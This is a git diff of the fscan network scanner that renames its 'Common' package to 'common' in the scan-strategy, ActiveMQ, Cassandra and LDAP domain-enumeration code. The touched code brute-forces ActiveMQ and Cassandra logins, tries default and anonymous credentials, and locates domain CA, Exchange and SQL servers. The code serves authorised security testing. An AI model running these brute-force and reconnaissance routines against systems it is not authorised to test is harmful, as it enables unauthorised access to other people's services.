func (s *ServiceScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标
if info.Host == "" {
Common.LogError("未指定扫描目标")
common.LogError("未指定扫描目标")
return
}
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
common.LogError(err.Error())
return
}
// 解析目标主机
hosts, err := parsers.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
hosts, err := parsers.ParseIP(info.Host, common.HostsFile, common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return
}
Common.LogBase(Common.GetText("scan_host_start"))
common.LogBase(i18n.GetText("scan_host_start"))
// 输出插件信息
s.LogPluginInfo()
@ -57,15 +58,15 @@ func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, w
}
// performHostScan 执行主机扫描的完整流程
func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo
func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
if len(hosts) > 0 || len(common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
hosts = CheckLive(hosts, common.UsePing)
common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
}
// 端口扫描
@ -77,14 +78,14 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostIn
// 执行漏洞扫描
if len(targetInfos) > 0 {
Common.LogBase("开始漏洞扫描")
common.LogBase("开始漏洞扫描")
ExecuteScanTasks(targetInfos, s, ch, wg)
}
}
// shouldPerformLivenessCheck 判断是否需要执行存活性检测
func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool {
return Common.DisablePing == false && len(hosts) > 1
return common.DisablePing == false && len(hosts) > 1
}
// discoverAlivePorts 发现存活的端口
@ -93,37 +94,37 @@ func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string {
// 根据扫描模式选择端口扫描方式
if len(hosts) > 0 {
alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout)
Common.LogBase(Common.GetText("scan_alive_ports_count", len(alivePorts)))
alivePorts = EnhancedPortScan(hosts, common.Ports, common.Timeout)
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
}
// 合并额外指定的端口
if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil
Common.LogBase(Common.GetText("scan_alive_ports_count", len(alivePorts)))
if len(common.HostPort) > 0 {
alivePorts = append(alivePorts, common.HostPort...)
alivePorts = common.RemoveDuplicate(alivePorts)
common.HostPort = nil
common.LogBase(i18n.GetText("scan_alive_ports_count", len(alivePorts)))
}
return alivePorts
}
// PrepareTargets 准备目标信息
func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
// 解析目标主机
hosts, err := parsers.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
hosts, err := parsers.ParseIP(info.Host, common.HostsFile, common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return nil
}
var targetInfos []Common.HostInfo
var targetInfos []common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
if len(hosts) > 0 || len(common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
hosts = CheckLive(hosts, common.UsePing)
}
// 端口扫描
@ -137,13 +138,13 @@ func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.Host
}
// convertToTargetInfos 将端口列表转换为目标信息
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo {
var infos []Common.HostInfo
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo common.HostInfo) []common.HostInfo {
var infos []common.HostInfo
for _, targetIP := range ports {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue
}
@ -159,12 +160,12 @@ func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Comm
// GetPlugins 获取服务扫描插件列表
func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了插件列表且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
plugins := parsePluginList(Common.ScanMode)
if common.ScanMode != "" && common.ScanMode != "all" {
plugins := parsePluginList(common.ScanMode)
if len(plugins) > 0 {
return plugins, true
}
return []string{Common.ScanMode}, true
return []string{common.ScanMode}, true
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
@ -177,35 +178,35 @@ func (s *ServiceScanStrategy) LogPluginInfo() {
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下,过滤掉本地插件,只显示服务类型插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && !plugin.HasType(Common.PluginTypeLocal) {
plugin, exists := common.PluginManager[pluginName]
if exists && !plugin.HasType(common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase(Common.GetText("scan_no_service_plugins"))
common.LogBase(i18n.GetText("scan_no_service_plugins"))
}
}
// IsPluginApplicable 判断插件是否适用于服务扫描
func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
func (s *ServiceScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下,排除本地插件
if plugin.HasType(Common.PluginTypeLocal) {
if plugin.HasType(common.PluginTypeLocal) {
return false
}
@ -215,5 +216,5 @@ func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targe
}
// 无端口限制的插件或适用于服务扫描的插件
return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService)
return len(plugin.Ports) == 0 || plugin.HasType(common.PluginTypeService)
}

View File

@ -1,8 +1,8 @@
package Core
package core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"strings"
"sync"
)
@ -26,12 +26,12 @@ func (s *WebScanStrategy) Description() string {
}
// Execute 执行Web扫描策略
func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("开始Web扫描")
func (s *WebScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
common.LogBase("开始Web扫描")
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
common.LogError(err.Error())
return
}
@ -46,10 +46,10 @@ func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *s
}
// PrepareTargets 准备URL目标列表
func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo {
var targetInfos []Common.HostInfo
func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo) []common.HostInfo {
var targetInfos []common.HostInfo
for _, url := range Common.URLs {
for _, url := range common.URLs {
urlInfo := baseInfo
// 确保URL包含协议头
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
@ -65,16 +65,16 @@ func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.Host
// GetPlugins 获取Web扫描插件列表
func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了自定义插件并且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
requestedPlugins = []string{common.ScanMode}
}
// 验证插件是否存在不做Web类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
if _, exists := common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
@ -94,32 +94,32 @@ func (s *WebScanStrategy) LogPluginInfo() {
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下只显示Web类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeWeb) {
plugin, exists := common.PluginManager[pluginName]
if exists && plugin.HasType(common.PluginTypeWeb) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("Web扫描模式: 未找到可用的Web插件")
common.LogBase("Web扫描模式: 未找到可用的Web插件")
}
}
// IsPluginApplicable 判断插件是否适用于Web扫描
func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
func (s *WebScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下只运行Web类型插件
return plugin.HasType(Common.PluginTypeWeb)
return plugin.HasType(common.PluginTypeWeb)
}

View File

@ -7,7 +7,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// ActiveMQCredential 表示一个ActiveMQ凭据
@ -23,23 +23,23 @@ type ActiveMQScanResult struct {
Credential ActiveMQCredential
}
func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
func ActiveMQScan(info *common.HostInfo) (tmperr error) {
if common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试默认账户
Common.LogDebug("尝试默认账户 admin:admin")
common.LogDebug("尝试默认账户 admin:admin")
defaultCredential := ActiveMQCredential{Username: "admin", Password: "admin"}
defaultResult := tryActiveCredential(ctx, info, defaultCredential, Common.Timeout, Common.MaxRetries)
defaultResult := tryActiveCredential(ctx, info, defaultCredential, common.Timeout, common.MaxRetries)
if defaultResult.Success {
saveActiveMQSuccess(info, target, defaultResult.Credential)
@ -47,12 +47,12 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
}
// 生成所有凭据组合
credentials := generateActiveMQCredentials(Common.Userdict["activemq"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["activemq"]), len(Common.Passwords), len(credentials)))
credentials := generateActiveMQCredentials(common.Userdict["activemq"], common.Passwords)
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["activemq"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentActiveMQScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentActiveMQScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveActiveMQSuccess(info, target, result.Credential)
@ -62,10 +62,10 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("ActiveMQ扫描全局超时")
common.LogDebug("ActiveMQ扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了默认凭据
return nil
}
}
@ -86,9 +86,9 @@ func generateActiveMQCredentials(users, passwords []string) []ActiveMQCredential
}
// concurrentActiveMQScan 并发扫描ActiveMQ服务
func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
func concurrentActiveMQScan(ctx context.Context, info *common.HostInfo, credentials []ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -134,7 +134,7 @@ func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credenti
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -155,14 +155,14 @@ func concurrentActiveMQScan(ctx context.Context, info *Common.HostInfo, credenti
}
return nil
case <-ctx.Done():
Common.LogDebug("ActiveMQ并发扫描全局超时")
common.LogDebug("ActiveMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryActiveCredential 尝试单个ActiveMQ凭据
func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
func tryActiveCredential(ctx context.Context, info *common.HostInfo, credential ActiveMQCredential, timeoutSeconds int64, maxRetries int) *ActiveMQScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -175,7 +175,7 @@ func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -194,7 +194,7 @@ func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -209,11 +209,11 @@ func tryActiveCredential(ctx context.Context, info *Common.HostInfo, credential
}
// ActiveMQConn 尝试ActiveMQ连接
func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
func ActiveMQConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
addr := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 使用上下文创建带超时的连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(Common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(common.Timeout)*time.Second)
if err != nil {
return false, err
}
@ -231,7 +231,7 @@ func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00", user, pass)
// 发送认证请求
conn.SetWriteDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
conn.SetWriteDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
if _, err := conn.Write([]byte(stompConnect)); err != nil {
select {
case <-ctx.Done():
@ -244,7 +244,7 @@ func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
}
// 读取响应
conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
respBuf := make([]byte, 1024)
n, err := conn.Read(respBuf)
if err != nil {
@ -294,15 +294,15 @@ func ActiveMQConn(ctx context.Context, info *Common.HostInfo, user string, pass
}
// saveActiveMQSuccess 记录并保存ActiveMQ成功结果
func saveActiveMQSuccess(info *Common.HostInfo, target string, credential ActiveMQCredential) {
func saveActiveMQSuccess(info *common.HostInfo, target string, credential ActiveMQCredential) {
successMsg := fmt.Sprintf("ActiveMQ服务 %s 成功爆破 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -313,5 +313,5 @@ func saveActiveMQSuccess(info *Common.HostInfo, target string, credential Active
"type": "weak-password",
},
}
Common.SaveResult(result)
common.SaveResult(result)
}

View File

@ -10,7 +10,7 @@ import (
"time"
"github.com/gocql/gocql"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// CassandraProxyDialer 实现gocql.Dialer接口支持代理连接
@ -23,7 +23,7 @@ func (d *CassandraProxyDialer) DialContext(ctx context.Context, network, addr st
if err != nil {
return nil, err
}
return Common.WrapperTcpWithContext(ctx, network, fmt.Sprintf("%s:%s", host, port))
return common.WrapperTcpWithContext(ctx, network, fmt.Sprintf("%s:%s", host, port))
}
// CassandraCredential 表示一个Cassandra凭据
@ -40,23 +40,23 @@ type CassandraScanResult struct {
Credential CassandraCredential
}
func CassandraScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
func CassandraScan(info *common.HostInfo) (tmperr error) {
if common.DisableBrute {
return
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...")
common.LogDebug("尝试无认证访问...")
anonymousCredential := CassandraCredential{Username: "", Password: ""}
anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, Common.Timeout, Common.MaxRetries)
anonymousResult := tryCassandraCredential(ctx, info, anonymousCredential, common.Timeout, common.MaxRetries)
if anonymousResult.Success {
saveCassandraSuccess(info, target, anonymousResult.Credential, true)
@ -64,12 +64,12 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
}
// 生成所有凭据组合
credentials := generateCassandraCredentials(Common.Userdict["cassandra"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["cassandra"]), len(Common.Passwords), len(credentials)))
credentials := generateCassandraCredentials(common.Userdict["cassandra"], common.Passwords)
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["cassandra"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentCassandraScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentCassandraScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveCassandraSuccess(info, target, result.Credential, false)
@ -79,10 +79,10 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Cassandra扫描全局超时")
common.LogDebug("Cassandra扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
@ -103,9 +103,9 @@ func generateCassandraCredentials(users, passwords []string) []CassandraCredenti
}
// concurrentCassandraScan 并发扫描Cassandra服务
func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
func concurrentCassandraScan(ctx context.Context, info *common.HostInfo, credentials []CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -151,7 +151,7 @@ func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credent
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -172,14 +172,14 @@ func concurrentCassandraScan(ctx context.Context, info *Common.HostInfo, credent
}
return nil
case <-ctx.Done():
Common.LogDebug("Cassandra并发扫描全局超时")
common.LogDebug("Cassandra并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryCassandraCredential 尝试单个Cassandra凭据
func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
func tryCassandraCredential(ctx context.Context, info *common.HostInfo, credential CassandraCredential, timeoutSeconds int64, maxRetries int) *CassandraScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -192,7 +192,7 @@ func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credenti
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -212,7 +212,7 @@ func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credenti
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -227,9 +227,9 @@ func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credenti
}
// CassandraConn 尝试Cassandra连接支持上下文超时
func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
func CassandraConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
cluster := gocql.NewCluster(host)
cluster.Port, _ = strconv.Atoi(port)
@ -239,7 +239,7 @@ func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass
cluster.Consistency = gocql.One
// 如果配置了代理设置自定义Dialer
if Common.Socks5Proxy != "" {
if common.Socks5Proxy != "" {
cluster.Dialer = &CassandraProxyDialer{
timeout: timeout,
}
@ -325,7 +325,7 @@ func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass
}
// saveCassandraSuccess 记录并保存Cassandra成功结果
func saveCassandraSuccess(info *Common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
func saveCassandraSuccess(info *common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
var successMsg string
var details map[string]interface{}
@ -350,15 +350,15 @@ func saveCassandraSuccess(info *Common.HostInfo, target string, credential Cassa
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
common.SaveResult(result)
}

View File

@ -6,7 +6,7 @@ import (
"fmt"
"github.com/go-ldap/ldap/v3"
"github.com/go-ldap/ldap/v3/gssapi"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"os/exec"
"strconv"
"strings"
@ -24,7 +24,7 @@ func (d *DomainInfo) Close() {
}
func (d *DomainInfo) GetCAComputers() ([]string, error) {
Common.LogDebug("开始查询域内CA服务器...")
common.LogDebug("开始查询域内CA服务器...")
searchRequest := ldap.NewSearchRequest(
"CN=Configuration,"+d.baseDN,
@ -40,7 +40,7 @@ func (d *DomainInfo) GetCAComputers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询CA服务器失败: %v", err))
common.LogError(fmt.Sprintf("查询CA服务器失败: %v", err))
return nil, err
}
@ -49,21 +49,21 @@ func (d *DomainInfo) GetCAComputers() ([]string, error) {
cn := entry.GetAttributeValue("cn")
if cn != "" {
caComputers = append(caComputers, cn)
Common.LogDebug(fmt.Sprintf("发现CA服务器: %s", cn))
common.LogDebug(fmt.Sprintf("发现CA服务器: %s", cn))
}
}
if len(caComputers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个CA服务器", len(caComputers)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个CA服务器", len(caComputers)))
} else {
Common.LogDebug("未发现CA服务器")
common.LogDebug("未发现CA服务器")
}
return caComputers, nil
}
func (d *DomainInfo) GetExchangeServers() ([]string, error) {
Common.LogDebug("开始查询Exchange服务器...")
common.LogDebug("开始查询Exchange服务器...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -79,7 +79,7 @@ func (d *DomainInfo) GetExchangeServers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询Exchange服务器失败: %v", err))
common.LogError(fmt.Sprintf("查询Exchange服务器失败: %v", err))
return nil, err
}
@ -88,7 +88,7 @@ func (d *DomainInfo) GetExchangeServers() ([]string, error) {
for _, member := range entry.GetAttributeValues("member") {
if member != "" {
exchangeServers = append(exchangeServers, member)
Common.LogDebug(fmt.Sprintf("发现Exchange服务器成员: %s", member))
common.LogDebug(fmt.Sprintf("发现Exchange服务器成员: %s", member))
}
}
}
@ -96,20 +96,20 @@ func (d *DomainInfo) GetExchangeServers() ([]string, error) {
// 移除第一个条目(如果存在)
if len(exchangeServers) > 1 {
exchangeServers = exchangeServers[1:]
Common.LogDebug("移除第一个条目")
common.LogDebug("移除第一个条目")
}
if len(exchangeServers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个Exchange服务器", len(exchangeServers)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个Exchange服务器", len(exchangeServers)))
} else {
Common.LogDebug("未发现Exchange服务器")
common.LogDebug("未发现Exchange服务器")
}
return exchangeServers, nil
}
func (d *DomainInfo) GetMsSqlServers() ([]string, error) {
Common.LogDebug("开始查询SQL Server服务器...")
common.LogDebug("开始查询SQL Server服务器...")
searchRequest := ldap.NewSearchRequest(
d.baseDN,
@ -125,7 +125,7 @@ func (d *DomainInfo) GetMsSqlServers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil {
Common.LogError(fmt.Sprintf("查询SQL Server失败: %v", err))
common.LogError(fmt.Sprintf("查询SQL Server失败: %v", err))
return nil, err
}
@ -134,43 +134,43 @@ func (d *DomainInfo) GetMsSqlServers() ([]string, error) {
name := entry.GetAttributeValue("name")
if name != "" {
sqlServers = append(sqlServers, name)
Common.LogDebug(fmt.Sprintf("发现SQL Server: %s", name))
common.LogDebug(fmt.Sprintf("发现SQL Server: %s", name))
}
}
if len(sqlServers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个SQL Server", len(sqlServers)))
common.LogSuccess(fmt.Sprintf("共发现 %d 个SQL Server", len(sqlServers)))
} else {
Common.LogDebug("未发现SQL Server")
common.LogDebug("未发现SQL Server")
}
return sqlServers, nil
}
func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) {
Common.LogDebug("开始查询特殊计算机...")
common.LogDebug("开始查询特殊计算机...")
results := make(map[string][]string)
// 获取SQL Server
Common.LogDebug("正在查询SQL Server...")
common.LogDebug("正在查询SQL Server...")
sqlServers, err := d.GetMsSqlServers()
if err == nil && len(sqlServers) > 0 {
results["SQL服务器"] = sqlServers
} else if err != nil {
